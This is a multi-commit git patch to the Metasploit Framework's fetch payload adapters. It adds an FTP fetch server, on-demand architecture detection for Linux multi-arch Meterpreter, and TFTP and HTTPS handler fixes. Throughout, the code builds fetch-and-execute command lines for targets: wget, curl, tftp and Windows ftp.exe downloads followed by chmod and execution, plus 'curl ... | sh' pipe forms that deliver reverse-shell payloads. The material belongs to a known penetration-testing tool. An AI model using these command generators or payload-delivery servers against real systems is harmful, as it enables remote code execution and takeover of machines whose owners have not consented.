718bd0074fb59..f646dcb2005b1 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -105,10 +105,9 @@ def fetch_bindport datastore['FetchListenerBindPort'].blank? ? srvport : datastore['FetchListenerBindPort'] end - def add_srv_entry(uri, data, arch = ARCH_CMD) - vprint_status "#{__LINE__}" + def add_srv_entry(uri, data, opts) srv_entry = { - :arch => arch, + :opts => opts, :uri => uri, :data => data } @@ -132,37 +131,46 @@ def pipe_supported_binaries %w[WGET GET CURL] end - # Builds an adapted payload executable, starts any required pipe command state, - # and returns the remote command that should fetch and execute the payload. - # - # @param opts [Hash] Payload generation options. - # @return [String] The fetch command to run on the target. def generate(opts = {}) - vprint_status "#{__method__}" - vprint_status "#{__LINE__}" + if opts[:dynamic_arch].nil? + # on the first call, dynamic_arch should not be set, so just move along + generate_fetch(opts) + else + # we've already generated the fetch command stuff but we did not know the + # arch until we got the http request from a multi/meterpreter_reverse_tcp payload. + # now, we just call super because the real arch is already in opts[:arch] + super(opts) + end + end + + + def generate_fetch(opts = {}) + vprint_status("#{__method__}:#{__LINE__}") opts[:arch] ||= module_info['AdaptedArch'] - @payload_opts = opts[:arch] - dynamic_arch = false vprint_status "#{__LINE__}" if opts[:arch] == ARCH_ANY && module_info['AdaptedPlatform'] == 'linux' vprint_status "#{__LINE__}" - dynamic_arch = true + opts[:dynamic_arch] = true + # if we don't have a valid arch, let's just put a placeholder in the data location add_srv_entry(srvuri, 'x', opts) else vprint_status "#{__LINE__}" - dynamic_arch = false + opts[:dynamic_arch] = false + super(opts) + # if we do have a valid arch, let's generate it now + # so if it fails we know before the exploit runs add_srv_entry(srvuri, generate_payload_exe(opts), opts) end vprint_status "#{__LINE__}" - cmd = generate_fetch_commands(srvuri, dynamic_arch) + cmd = generate_fetch_commands(srvuri, opts[:dynamic_arch]) if datastore['FETCH_PIPE'] vprint_status "#{__LINE__}" unless pipe_supported_binaries.include?(datastore['FETCH_COMMAND'].upcase) fail_with(Msf::Module::Failure::BadConfig, "Unsupported binary selected for FETCH_PIPE option: #{datastore['FETCH_COMMAND']}, must be one of #{pipe_supported_binaries}.") end cmd << '\n' if windows? # Needs CR for Windows command - add_srv_entry(pipe_srvuri, cmd) + add_srv_entry(pipe_srvuri, cmd, opts) cmd = generate_pipe_command(pipe_srvuri) end vprint_status "#{__LINE__}" @@ -183,7 +191,7 @@ def generate_fetch_commands(uri, dynamic_arch) when 'TNFTP' return _generate_tnftp_command(uri) when 'WGET' - return _generate_wget_command(uri) + return _generate_wget_command(uri, dynamic_arch) when 'CURL' return _generate_curl_command(uri, dynamic_arch) when 'TFTP' @@ -500,15 +508,17 @@ def _generate_tnftp_command # Builds a wget-based command line for fetching the payload. # # @return [String] The wget fetch-and-execute command. - def _generate_wget_command + def _generate_wget_command(uri, dynamic_arch) case fetch_protocol when 'HTTPS' - get_file_cmd = "wget -qO #{_remote_destination} --no-check-certificate https://#{download_uri}" + get_file_cmd = "wget -qO #{_remote_destination} --no-check-certificate https://#{download_uri(uri)}" + when 'HTTP' - get_file_cmd = "wget -qO #{_remote_destination} http://#{download_uri}" + get_file_cmd = "wget -qO #{_remote_destination} http://#{download_uri(uri)}" else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') end + get_file_cmd << "?arch=$(uname -m)" if dynamic_arch _execute_add(get_file_cmd) end diff --git a/lib/msf/core/payload/adapter/fetch/http.rb b/lib/msf/core/payload/adapter/fetch/http.rb index 24b4111769859..b1755932862b2 100644 --- a/lib/msf/core/payload/adapter/fetch/http.rb +++ b/lib/msf/core/payload/adapter/fetch/http.rb @@ -20,14 +20,17 @@ def cleanup_handler def setup_handler unless datastore['FetchHandlerDisable'] + vprint_status("#{__method__}:#{__LINE__}") @fetch_service = start_http_fetch_handler(srvname) - escaped_uri = ('/' + srvuri).gsub('//', '/') - add_resource(@fetch_service, escaped_uri, @srvexe) - unless @pipe_uri.nil? - uri = ('/' + @pipe_uri).gsub('//', '/') - add_resource(@fetch_service, uri, @pipe_cmd) + @srv_resources.each do |srv_entry| + vprint_status("#{__method__}:#{__LINE__}") + escaped_uri = ('/' + srv_entry[:uri]).gsub('//', '/') + @myresources << escaped_uri + add_resource(@fetch_service, escaped_uri, srv_entry) + vprint_status("#{__method__}:#{__LINE__}") end end super end + end diff --git a/lib/msf/core/payload/adapter/fetch/multi.rb b/lib/msf/core/payload/adapter/fetch/multi.rb index 7a2a06595cdf4..7618877f89100 100644 --- a/lib/msf/core/payload/adapter/fetch/multi.rb +++ b/lib/msf/core/payload/adapter/fetch/multi.rb @@ -29,19 +29,6 @@ def _generate_multi_commands(arch_payloads = []) script end - def _generate_bruteforce_multi_commands(arch_payloads = []) - # Don't bother trying to figure out the OS arch.... just try to run them all. - script = '' - arch_payloads.each do |srv_entry| - vprint_status("Adding #{srv_entry[:uri]} for #{srv_entry[:arch]}") - datastore['FETCH_FILENAME'] = srv_entry[:uri].dup - vprint_status(datastore['FETCH_FILENAME']) - script << generate_fetch_commands(srv_entry[:uri]).to_s - end - print_status(script) - script - end - def os_arches(meterp_arch) # multiple `uname -m` values map to the same payload arch # we will probably need to expand this diff --git a/lib/msf/core/payload/adapter/fetch/server/http.rb b/lib/msf/core/payload/adapter/fetch/server/http.rb index e148dad896e9c..aa1d8c3bab988 100644 --- a/lib/msf/core/payload/adapter/fetch/server/http.rb +++ b/lib/msf/core/payload/adapter/fetch/server/http.rb @@ -20,7 +20,7 @@ def srvname datastore['FetchHttpServerName'] end - def add_resource(fetch_service, uri, opts) + def add_resource(fetch_service, uri, srv_entry) vprint_status("Adding resource #{uri}") begin if fetch_service.resources.include?(uri) @@ -29,7 +29,7 @@ def add_resource(fetch_service, uri, opts) end fetch_service.add_resource(uri, 'Proc' => proc do |cli, req| - on_request_uri(cli, req, opts) + on_request_uri(cli, req, srv_entry) end, 'VirtualDirectory' => true) rescue ::Exception => e @@ -62,24 +62,42 @@ def start_http_fetch_handler(srvname, ssl = false, ssl_cert = nil, ssl_compressi fetch_service end - def on_request_uri(cli, request, opts) + def on_request_uri(cli, request, srv_entry) + vprint_status("#{__method__}:#{__LINE__}") + opts = srv_entry[:opts] + vprint_status(opts.to_s) client = cli.peerhost vprint_status("Client #{client} requested #{request.uri}") if (user_agent = request.headers['User-Agent']) client += " (#{user_agent})" end + vprint_status("#{__method__}:#{__LINE__}") vprint_status("Sending payload to #{client}") - vprint_status request.to_s - vprint_status request.uri_parts['QueryString']['arch'].to_s - arch = to_meterp_arch(request.uri_parts['QueryString']['arch']) - vprint_status("Building payload for #{arch} arch") - vprint_status(opts[:arch]) - opts[:arch] = arch - vprint_status("1") - @multi_arch = arch - vprint_status("2") - opts[:code] = super(opts) - cli.send_response(payload_response(generate_payload_exe(opts))) + vprint_status("#{__method__}:#{__LINE__}") + if opts[:dynamic_arch] + vprint_status("#{__method__}:#{__LINE__}") + vprint_status("Dynamic Payload Detected, expecting a Query String in the request...") + vprint_status request.to_s + vprint_status request.uri_parts['QueryString']['arch'].to_s + arch = to_meterp_arch(request.uri_parts['QueryString']['arch']) + if arch.nil? + print_error("Failed to identify the architecture in Query String #{request.uri_parts['QueryString']['arch'].to_s}") + return nil + end + vprint_status("Building payload for #{arch.to_s} arch") + opts[:arch] = arch + @multi_arch = arch + vprint_status("2") + # Call generate with arch and dynamic_arch populated properly to build the right binary + payload_exe = generate(opts) + if payload_exe.nil? + print_error("No payload available for #{arch}") + else + cli.send_response(payload_response(payload_exe)) + end + else + cli.send_response(payload_response(srv_entry[:data])) + end end def payload_response(srvexe) diff --git a/modules/payloads/singles/linux/multi/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/multi/meterpreter_reverse_tcp.rb index 504d611051eda..49836e8cf5450 100644 --- a/modules/payloads/singles/linux/multi/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/multi/meterpreter_reverse_tcp.rb @@ -7,7 +7,7 @@ module MetasploitModule CachedSize = 1140752 include Msf::Payload::Single - include Msf::Sessions::MeterpreterOptions + include Msf::Sessions::MeterpreterOptions::Linux include Msf::Sessions::MettleConfig include Msf::Payload::Linux::MultiArch # must be last @@ -28,7 +28,9 @@ def initialize(info = {}) end def generate(opts = {}) + vprint_status("#{__method__}:#{__LINE__}") mettle_arch = mettle_arch_transform(desired_arch(opts)) + vprint_status("#{__method__}:#{__LINE__}") opts = { scheme: 'tcp', stageless: true From 1c807df06068f7572a8cf6c55f4debc6552bd7c8 Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Tue, 12 May 2026 17:42:59 -0500 Subject: [PATCH 03/18] Add TFTP server, update FTP server, add FTP fetch payloads, fix bugs in FETCH FILELESS --- lib/msf/core/payload/adapter/fetch.rb | 138 ++++----- lib/msf/core/payload/adapter/fetch/ftp.rb | 30 ++ lib/msf/core/payload/adapter/fetch/https.rb | 11 +- lib/msf/core/payload/adapter/fetch/pipe.rb | 19 +- .../core/payload/adapter/fetch/server/ftp.rb | 46 +++ .../core/payload/adapter/fetch/server/http.rb | 1 - .../core/payload/adapter/fetch/server/tftp.rb | 34 ++- lib/msf/core/payload/adapter/fetch/smb.rb | 10 +- lib/msf/core/payload/adapter/fetch/tftp.rb | 10 +- lib/msf_autoload.rb | 3 + lib/rex/proto/ftp/server.rb | 266 ++++++++++++++++++ lib/rex/proto/tftp/server.rb | 16 ++ .../adapters/cmd/linux/ftp/aarch64.rb | 25 ++ .../payloads/adapters/cmd/linux/ftp/armbe.rb | 25 ++ .../payloads/adapters/cmd/linux/ftp/armle.rb | 25 ++ .../payloads/adapters/cmd/linux/ftp/mips64.rb | 25 ++ .../payloads/adapters/cmd/linux/ftp/mipsbe.rb | 25 ++ .../payloads/adapters/cmd/linux/ftp/mipsle.rb | 25 ++ .../payloads/adapters/cmd/linux/ftp/ppc.rb | 25 ++ .../payloads/adapters/cmd/linux/ftp/ppc64.rb | 25 ++ .../adapters/cmd/linux/ftp/riscv32le.rb | 25 ++ .../adapters/cmd/linux/ftp/riscv64le.rb | 25 ++ .../payloads/adapters/cmd/linux/ftp/x64.rb | 25 ++ .../payloads/adapters/cmd/linux/ftp/x86.rb | 25 ++ .../payloads/adapters/cmd/windows/ftp/x64.rb | 31 ++ .../payloads/adapters/cmd/windows/ftp/x86.rb | 31 ++ spec/modules/payloads_spec.rb | 17 ++ 27 files changed, 835 insertions(+), 128 deletions(-) create mode 100644 lib/msf/core/payload/adapter/fetch/ftp.rb create mode 100644 lib/msf/core/payload/adapter/fetch/server/ftp.rb create mode 100644 lib/rex/proto/ftp/server.rb create mode 100644 modules/payloads/adapters/cmd/linux/ftp/aarch64.rb create mode 100644 modules/payloads/adapters/cmd/linux/ftp/armbe.rb create mode 100644 modules/payloads/adapters/cmd/linux/ftp/armle.rb create mode 100644 modules/payloads/adapters/cmd/linux/ftp/mips64.rb create mode 100644 modules/payloads/adapters/cmd/linux/ftp/mipsbe.rb create mode 100644 modules/payloads/adapters/cmd/linux/ftp/mipsle.rb create mode 100644 modules/payloads/adapters/cmd/linux/ftp/ppc.rb create mode 100644 modules/payloads/adapters/cmd/linux/ftp/ppc64.rb create mode 100644 modules/payloads/adapters/cmd/linux/ftp/riscv32le.rb create mode 100644 modules/payloads/adapters/cmd/linux/ftp/riscv64le.rb create mode 100644 modules/payloads/adapters/cmd/linux/ftp/x64.rb create mode 100644 modules/payloads/adapters/cmd/linux/ftp/x86.rb create mode 100644 modules/payloads/adapters/cmd/windows/ftp/x64.rb create mode 100644 modules/payloads/adapters/cmd/windows/ftp/x86.rb diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index f646dcb2005b1..b36ed5b462c70 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -1,3 +1,4 @@ +# Mixin providing fetch-based payload delivery over configurable transports. module Msf::Payload::Adapter::Fetch include Msf::Payload::Adapter::Fetch::Fileless include Msf::Payload::Adapter::Fetch::Pipe @@ -29,16 +30,13 @@ def initialize(*args) @fetch_service = nil @multi_arch = nil @myresources = [] - @srvexe = '' @srv_resources = [] - @pipe_uri = nil - @pipe_cmd = nil @remote_destination_win = nil @remote_destination_nix = nil @windows = nil end - # If no fetch URL is provided, we generate one based off the underlying payload data + # If no fetch URL is provided, we generate one based off the underlying payload data. # This is because if we use a randomly-generated URI, the URI generated by venom and # Framework will not match. This way, we can build a payload in venom and a listener # in Framework, and if the underlying payload type/host/port are the same, the URI @@ -84,13 +82,6 @@ def download_uri(uri) "#{srvnetloc}/#{uri}" end - # Returns the pipe download URI used when serving commands over FETCH_PIPE. - # - # @return [String] The URI path and authority for the piped command payload. - def _download_pipe - "#{srvnetloc}/#{@pipe_uri}" - end - # Returns the interface the fetch service should bind to. # # @return [String] The bind address for the local fetch listener. @@ -106,12 +97,7 @@ def fetch_bindport end def add_srv_entry(uri, data, opts) - srv_entry = { - :opts => opts, - :uri => uri, - :data => data - } - @srv_resources << srv_entry + @srv_resources << { opts: opts, uri: uri, data: data } end # Returns the authority string used by the fetch listener socket. @@ -121,70 +107,39 @@ def fetch_bindnetloc Rex::Socket.to_authority(fetch_bindhost, fetch_bindport) end - # Lists supported binaries that can execute commands piped directly from the - # fetch server. - # - # @return [Array] The set of supported pipe-capable binaries. - def pipe_supported_binaries - # this is going to expand when we add psh support - return %w[CURL] if windows? - %w[WGET GET CURL] - end - def generate(opts = {}) if opts[:dynamic_arch].nil? - # on the first call, dynamic_arch should not be set, so just move along - generate_fetch(opts) - else - # we've already generated the fetch command stuff but we did not know the - # arch until we got the http request from a multi/meterpreter_reverse_tcp payload. - # now, we just call super because the real arch is already in opts[:arch] - super(opts) - end - end - + opts[:arch] ||= module_info['AdaptedArch'] + if opts[:arch] == ARCH_ANY && module_info['AdaptedPlatform'] == 'linux' + opts[:dynamic_arch] = true + # placeholder — binary is generated on demand at request time once arch is known + add_srv_entry(srvuri, 'x', opts) + else + opts[:dynamic_arch] = false + opts[:code] = super(opts) + add_srv_entry(srvuri, generate_payload_exe(opts), opts) + end - def generate_fetch(opts = {}) - vprint_status("#{__method__}:#{__LINE__}") - opts[:arch] ||= module_info['AdaptedArch'] - vprint_status "#{__LINE__}" - if opts[:arch] == ARCH_ANY && module_info['AdaptedPlatform'] == 'linux' - vprint_status "#{__LINE__}" - opts[:dynamic_arch] = true - # if we don't have a valid arch, let's just put a placeholder in the data location - add_srv_entry(srvuri, 'x', opts) + cmd = generate_fetch_commands(srvuri, opts[:dynamic_arch]) + if datastore['FETCH_PIPE'] + unless pipe_supported_binaries.include?(datastore['FETCH_COMMAND'].upcase) + fail_with(Msf::Module::Failure::BadConfig, "Unsupported binary selected for FETCH_PIPE option: #{datastore['FETCH_COMMAND']}, must be one of #{pipe_supported_binaries}.") + end + cmd << "\n" if windows? + add_srv_entry(pipe_srvuri, cmd, opts.merge(dynamic_arch: false)) + cmd = generate_pipe_command(pipe_srvuri) + end + vprint_status("Command to execute on target: #{cmd}") + cmd else - vprint_status "#{__LINE__}" - opts[:dynamic_arch] = false super(opts) - # if we do have a valid arch, let's generate it now - # so if it fails we know before the exploit runs - add_srv_entry(srvuri, generate_payload_exe(opts), opts) - end - - vprint_status "#{__LINE__}" - cmd = generate_fetch_commands(srvuri, opts[:dynamic_arch]) - if datastore['FETCH_PIPE'] - vprint_status "#{__LINE__}" - unless pipe_supported_binaries.include?(datastore['FETCH_COMMAND'].upcase) - fail_with(Msf::Module::Failure::BadConfig, "Unsupported binary selected for FETCH_PIPE option: #{datastore['FETCH_COMMAND']}, must be one of #{pipe_supported_binaries}.") - end - cmd << '\n' if windows? # Needs CR for Windows command - add_srv_entry(pipe_srvuri, cmd, opts) - cmd = generate_pipe_command(pipe_srvuri) end - vprint_status "#{__LINE__}" - vprint_status("Command to execute on target: #{cmd}") - cmd end # Dispatches command generation to the selected FETCH_COMMAND helper. # # @return [String] The generated fetch-and-execute command. - def generate_fetch_commands(uri, dynamic_arch) - # TODO: Make a check method that determines if we support a platform/server/command combination - # - vprint_status "#{__method__}" + def generate_fetch_commands(uri = srvuri, dynamic_arch = false) case datastore['FETCH_COMMAND'].upcase when 'FTP' return _generate_ftp_command(uri) @@ -210,7 +165,7 @@ def generate_fetch_commands(uri, dynamic_arch) # @return [String] The generated stage contents. def generate_stage(opts = {}) opts[:arch] ||= module_info['AdaptedArch'] - conf[:arch] = @multi_arch unless @multi_arch.nil? + opts[:arch] = @multi_arch unless @multi_arch.nil? super end @@ -266,7 +221,8 @@ def srvport # # @return [String] The payload download URI path. def srvuri - # If the user has selected FETCH_PIPE, we save any user-defined uri for the pipe command + # When FETCH_PIPE is active the user-defined URI is reserved for the pipe + # command endpoint; the payload always gets the auto-generated URI. return default_srvuri if datastore['FETCH_PIPE'] || datastore['FETCH_URIPATH'].blank? datastore['FETCH_URIPATH'] @@ -359,7 +315,7 @@ def _determine_server_comm(ip, srv_comm = datastore['ListenerComm'].to_s) def _execute_add(get_file_cmd) return _execute_win(get_file_cmd) if windows? - return _execute_nix(get_file_cmd) + _execute_nix(get_file_cmd) end # Appends Windows execution and optional cleanup behavior to the supplied @@ -383,7 +339,6 @@ def _execute_nix(get_file_cmd) return _generate_fileless_bash_search(get_file_cmd) if datastore['FETCH_FILELESS'] == 'shell-search' return _generate_fileless_python(get_file_cmd) if datastore['FETCH_FILELESS'] == 'python3.8+' - cmds = get_file_cmd cmds << ";chmod +x #{_remote_destination_nix}" cmds << ";#{_remote_destination_nix}&" @@ -415,7 +370,6 @@ def _generate_curl_command(uri, dynamic_arch) case fetch_protocol when 'HTTP' get_file_cmd = "curl -so #{_remote_destination} http://#{download_uri(uri)}" - get_file_cmd << "?arch=$(uname -m)" if dynamic_arch when 'HTTPS' get_file_cmd = "curl -sko #{_remote_destination} https://#{download_uri(uri)}" when 'TFTP' @@ -423,6 +377,7 @@ def _generate_curl_command(uri, dynamic_arch) else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') end + get_file_cmd << '?arch=$(uname -m)' if dynamic_arch _execute_add(get_file_cmd) end @@ -452,7 +407,14 @@ def _generate_get_command(uri) # @return [String] The ftp fetch-and-execute command. def _generate_ftp_command(uri) case fetch_protocol + # Windows ftp.exe does not support URL-style downloads. Use -A for + # anonymous login and pipe binary/get/quit via stdin, mirroring the + # (echo ...) | tftp pattern used on Linux. when 'FTP' + if windows? + ftp_cmds = "(echo binary& echo get #{uri} #{_remote_destination_win}& echo quit)| ftp -A -n -i #{srvhost} #{srvport}" + return _execute_win(ftp_cmds) + end get_file_cmd = "ftp -Vo #{_remote_destination_nix} ftp://#{download_uri(uri)}" when 'HTTP' get_file_cmd = "ftp -Vo #{_remote_destination_nix} http://#{download_uri(uri)}" @@ -467,19 +429,23 @@ def _generate_ftp_command(uri) # Builds a tftp command line for fetching the payload, including Linux # fileless handling when supported. # + # @param uri [String] The URI path of the payload on the fetch server. # @return [String] The tftp fetch-and-execute command. - def _generate_tftp_command + def _generate_tftp_command(uri) _check_tftp_port case fetch_protocol when 'TFTP' if windows? - fetch_command = _execute_win("tftp -i #{srvhost} GET #{srvuri} #{_remote_destination}") + fetch_command = _execute_win("tftp -i #{srvhost} GET #{uri} #{_remote_destination}") else _check_tftp_file if datastore['FETCH_FILELESS'] != 'none' && linux? - return _generate_fileless("(echo binary ; echo get #{srvuri} $f ) | tftp #{srvhost}") + get_file_cmd = "(echo binary ; echo get #{uri} $f ) | tftp #{srvhost}" + return _generate_fileless_shell(get_file_cmd, module_info['AdaptedArch']) if datastore['FETCH_FILELESS'] == 'shell' + return _generate_fileless_bash_search(get_file_cmd) if datastore['FETCH_FILELESS'] == 'shell-search' + return _generate_fileless_python(get_file_cmd) if datastore['FETCH_FILELESS'] == 'python3.8+' else - fetch_command = "(echo binary ; echo get #{srvuri} ) | tftp #{srvhost}; chmod +x ./#{srvuri}; ./#{srvuri} &" + fetch_command = "(echo binary ; echo get #{uri} ) | tftp #{srvhost}; chmod +x ./#{uri}; ./#{uri} &" end end else @@ -490,15 +456,16 @@ def _generate_tftp_command # Builds a tnftp command line for fetching the payload. # + # @param uri [String] The URI path of the payload on the fetch server. # @return [String] The tnftp fetch-and-execute command. - def _generate_tnftp_command + def _generate_tnftp_command(uri) case fetch_protocol when 'FTP' - get_file_cmd = "tnftp -Vo #{_remote_destination_nix} ftp://#{download_uri}" + get_file_cmd = "tnftp -Vo #{_remote_destination_nix} ftp://#{download_uri(uri)}" when 'HTTP' - get_file_cmd = "tnftp -Vo #{_remote_destination_nix} http://#{download_uri}" + get_file_cmd = "tnftp -Vo #{_remote_destination_nix} http://#{download_uri(uri)}" when 'HTTPS' - get_file_cmd = "tnftp -Vo #{_remote_destination_nix} https://#{download_uri}" + get_file_cmd = "tnftp -Vo #{_remote_destination_nix} https://#{download_uri(uri)}" else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') end @@ -512,13 +479,12 @@ def _generate_wget_command(uri, dynamic_arch) case fetch_protocol when 'HTTPS' get_file_cmd = "wget -qO #{_remote_destination} --no-check-certificate https://#{download_uri(uri)}" - when 'HTTP' get_file_cmd = "wget -qO #{_remote_destination} http://#{download_uri(uri)}" else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') end - get_file_cmd << "?arch=$(uname -m)" if dynamic_arch + get_file_cmd << '?arch=$(uname -m)' if dynamic_arch _execute_add(get_file_cmd) end @@ -529,7 +495,7 @@ def _generate_wget_command(uri, dynamic_arch) def _remote_destination return _remote_destination_win if windows? - return _remote_destination_nix + _remote_destination_nix end # Returns or memoizes the remote payload destination for POSIX targets. diff --git a/lib/msf/core/payload/adapter/fetch/ftp.rb b/lib/msf/core/payload/adapter/fetch/ftp.rb new file mode 100644 index 0000000000000..db9de1e9c8377 --- /dev/null +++ b/lib/msf/core/payload/adapter/fetch/ftp.rb @@ -0,0 +1,30 @@ +# Mixin for fetch payloads that retrieve and execute a stage over FTP. +module Msf::Payload::Adapter::Fetch::FTP + include Msf::Exploit::EXE + include Msf::Payload::Adapter + include Msf::Payload::Adapter::Fetch + include Msf::Payload::Adapter::Fetch::Server::FTP + + def initialize(*args) + super + end + + def cleanup_handler + if @fetch_service + cleanup_ftp_fetch_service(@fetch_service) + @fetch_service = nil + end + + super + end + + def setup_handler + unless datastore['FetchHandlerDisable'] + @fetch_service = start_ftp_fetch_handler(fetch_bindport, fetch_bindhost) + @srv_resources.each do |srv_entry| + add_resource(@fetch_service, srv_entry[:uri], srv_entry) + end + end + super + end +end diff --git a/lib/msf/core/payload/adapter/fetch/https.rb b/lib/msf/core/payload/adapter/fetch/https.rb index 5c587eda43b51..293030cfd797c 100644 --- a/lib/msf/core/payload/adapter/fetch/https.rb +++ b/lib/msf/core/payload/adapter/fetch/https.rb @@ -1,5 +1,5 @@ +# Mixin for fetch payloads that retrieve and execute a stage over HTTPS. module Msf::Payload::Adapter::Fetch::Https - include Msf::Exploit::EXE include Msf::Payload::Adapter include Msf::Payload::Adapter::Fetch @@ -21,11 +21,10 @@ def cleanup_handler def setup_handler unless datastore['FetchHandlerDisable'] @fetch_service = start_https_fetch_handler(srvname) - escaped_uri = ('/' + srvuri).gsub('//', '/') - add_resource(@fetch_service, escaped_uri, @srvexe) - unless @pipe_uri.nil? - uri = ('/' + @pipe_uri).gsub('//', '/') - add_resource(@fetch_service, uri, @pipe_cmd) + @srv_resources.each do |srv_entry| + escaped_uri = ('/' + srv_entry[:uri]).gsub('//', '/') + @myresources << escaped_uri + add_resource(@fetch_service, escaped_uri, srv_entry) end end super diff --git a/lib/msf/core/payload/adapter/fetch/pipe.rb b/lib/msf/core/payload/adapter/fetch/pipe.rb index 80d8cb4e0e0f7..7855768c19c90 100644 --- a/lib/msf/core/payload/adapter/fetch/pipe.rb +++ b/lib/msf/core/payload/adapter/fetch/pipe.rb @@ -5,7 +5,6 @@ module Msf # ### module Payload::Adapter::Fetch::Pipe - def _download_pipe(uripath) "#{srvnetloc}/#{uripath}" end @@ -18,8 +17,6 @@ def pipe_supported_binaries end def generate_pipe_command(uri) - # TODO: Make a check method that determines if we support a platform/server/command combination - case datastore['FETCH_COMMAND'].upcase when 'WGET' return _generate_wget_pipe(uri) @@ -30,15 +27,8 @@ def generate_pipe_command(uri) end end - def pipe_srvuri - return datastore['FETCH_URIPATH'] unless datastore['FETCH_URIPATH'].blank? - - default_srvuri('pipe') - end - def _generate_curl_pipe(uri) - execute_cmd = 'sh' - execute_cmd = 'cmd' if windows? + execute_cmd = windows? ? 'cmd' : 'sh' case fetch_protocol when 'HTTP' return "curl -s http://#{_download_pipe(uri)}|#{execute_cmd}" @@ -65,8 +55,7 @@ def _generate_wget_pipe(uri) # @return [String] The GET pipe command. def _generate_get_pipe(uri) # Specifying the method (-m GET) is necessary on OSX - execute_cmd = 'sh' - execute_cmd = 'cmd' if windows? + execute_cmd = windows? ? 'cmd' : 'sh' case fetch_protocol when 'HTTP' return "GET -m GET http://#{_download_pipe(uri)}|#{execute_cmd}" @@ -81,7 +70,5 @@ def _generate_get_pipe(uri) fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}") end end - - end -end \ No newline at end of file +end diff --git a/lib/msf/core/payload/adapter/fetch/server/ftp.rb b/lib/msf/core/payload/adapter/fetch/server/ftp.rb new file mode 100644 index 0000000000000..0d7d2a8d6f3e2 --- /dev/null +++ b/lib/msf/core/payload/adapter/fetch/server/ftp.rb @@ -0,0 +1,46 @@ +module Msf::Payload::Adapter::Fetch::Server::FTP + + def initialize(*args) + super + register_options( + [ + Msf::OptBool.new('FETCH_SRVONCE', [true, 'Stop serving the payload after it is retrieved', true]), + ] + ) + end + + def cleanup_ftp_fetch_service(fetch_service) + @myresources.each do |uri| + fetch_service.deregister_file(uri) + end + fetch_service.deref + end + + def fetch_protocol + 'FTP' + end + + def start_ftp_server(srvport, srvhost) + vprint_status("Starting FTP server on #{Rex::Socket.to_authority(srvhost, srvport)}") + Rex::ServiceManager.start( + Rex::Proto::Ftp::Server, + srvport, srvhost, + { 'Msf' => framework, 'MsfExploit' => self } + ) + end + + def add_resource(fetch_service, uri, srv_entry) + vprint_status("Adding FTP resource #{uri}") + fetch_service.register_file(uri, srv_entry[:data], datastore['FETCH_SRVONCE']) + @myresources << uri + end + + def start_ftp_fetch_handler(srvport, srvhost) + fetch_service = start_ftp_server(srvport, srvhost) + if fetch_service.nil? + cleanup_handler + fail_with(Msf::Exploit::Failure::BadConfig, "Fetch handler failed to start on #{Rex::Socket.to_authority(srvhost, srvport)}") + end + fetch_service + end +end diff --git a/lib/msf/core/payload/adapter/fetch/server/http.rb b/lib/msf/core/payload/adapter/fetch/server/http.rb index aa1d8c3bab988..baed8c8f3293a 100644 --- a/lib/msf/core/payload/adapter/fetch/server/http.rb +++ b/lib/msf/core/payload/adapter/fetch/server/http.rb @@ -65,7 +65,6 @@ def start_http_fetch_handler(srvname, ssl = false, ssl_cert = nil, ssl_compressi def on_request_uri(cli, request, srv_entry) vprint_status("#{__method__}:#{__LINE__}") opts = srv_entry[:opts] - vprint_status(opts.to_s) client = cli.peerhost vprint_status("Client #{client} requested #{request.uri}") if (user_agent = request.headers['User-Agent']) diff --git a/lib/msf/core/payload/adapter/fetch/server/tftp.rb b/lib/msf/core/payload/adapter/fetch/server/tftp.rb index 38290616f7f1d..83267224446cc 100644 --- a/lib/msf/core/payload/adapter/fetch/server/tftp.rb +++ b/lib/msf/core/payload/adapter/fetch/server/tftp.rb @@ -1,10 +1,5 @@ module Msf::Payload::Adapter::Fetch::Server::TFTP - def start_tftp_server(srvport, srvhost) - vprint_status("Starting TFTP server on #{Rex::Socket.to_authority(srvhost, srvport)}") - Rex::Proto::TFTP::Server.new(srvport, srvhost, {}) - end - def initialize(*args) super register_options( @@ -13,24 +8,41 @@ def initialize(*args) ] ) end + def cleanup_tftp_fetch_service(fetch_service) - fetch_service.stop + @myresources.each do |uri| + fetch_service.deregister_file(uri) + end + @myresources = [] + fetch_service.deref end def fetch_protocol 'TFTP' end - def start_tftp_fetch_handler(srvport, srvhost, srvuri, srvexe) + def start_tftp_server(srvport, srvhost) + vprint_status("Starting TFTP server on #{Rex::Socket.to_authority(srvhost, srvport)}") + Rex::ServiceManager.start( + Rex::Proto::TFTP::Server, + srvport, srvhost, + { 'Msf' => framework, 'MsfExploit' => self } + ) + end + + def add_resource(fetch_service, uri, srv_entry) + vprint_status("Adding TFTP resource #{uri}") + fetch_service.register_file(uri, srv_entry[:data], datastore['FETCH_SRVONCE']) + @myresources << uri + end + + def start_tftp_fetch_handler(srvport, srvhost) fetch_service = start_tftp_server(srvport, srvhost) if fetch_service.nil? cleanup_handler - fail_with(Msf::Exploit::Failure::BadConfig, "Fetch handler failed to start on #{srvhost}:#{srvport}\n#{e}") + fail_with(Msf::Exploit::Failure::BadConfig, "Fetch handler failed to start on #{Rex::Socket.to_authority(srvhost, srvport)}") end - fetch_service.register_file(srvuri, srvexe, datastore['FETCH_SRVONCE']) - fetch_service.start fetch_service end end - diff --git a/lib/msf/core/payload/adapter/fetch/smb.rb b/lib/msf/core/payload/adapter/fetch/smb.rb index affba6adddb6a..3ef860ebfe6e0 100644 --- a/lib/msf/core/payload/adapter/fetch/smb.rb +++ b/lib/msf/core/payload/adapter/fetch/smb.rb @@ -1,16 +1,15 @@ +# Mixin for fetch payloads that retrieve and execute a stage over SMB. module Msf::Payload::Adapter::Fetch::SMB - include Msf::Exploit::EXE include Msf::Payload::Adapter include Msf::Payload::Adapter::Fetch include Msf::Payload::Adapter::Fetch::Server::SMB - def initialize(*args) super register_options( [ - Msf::OptString.new('FETCH_FILENAME', [ true, 'Payload file name to fetch; cannot contain spaces or 